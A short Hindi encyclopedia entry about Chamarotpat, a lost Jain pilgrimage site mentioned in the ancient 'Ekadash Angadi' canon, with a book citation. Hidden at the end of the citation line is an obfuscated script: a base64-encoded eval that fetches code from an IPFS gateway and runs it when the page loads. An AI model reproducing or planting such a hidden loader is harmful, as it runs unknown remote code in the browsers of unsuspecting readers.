चमरोत्पात

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चमरोत्पात जैन साहित्य के सर्वप्राचीन आगम ग्रंथ 'एकादश अंगादि' में उल्लिखित एक तीर्थ स्थान है, किन्तु इसका पता अब नहीं है।[1]

  • कई अन्य अज्ञात तीर्थ, जिनका उल्लेख इस ग्रंथ में हुआ है, वे इस प्रकार हैं-
  1. गजाग्रपद
  2. रथावर्त


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 327 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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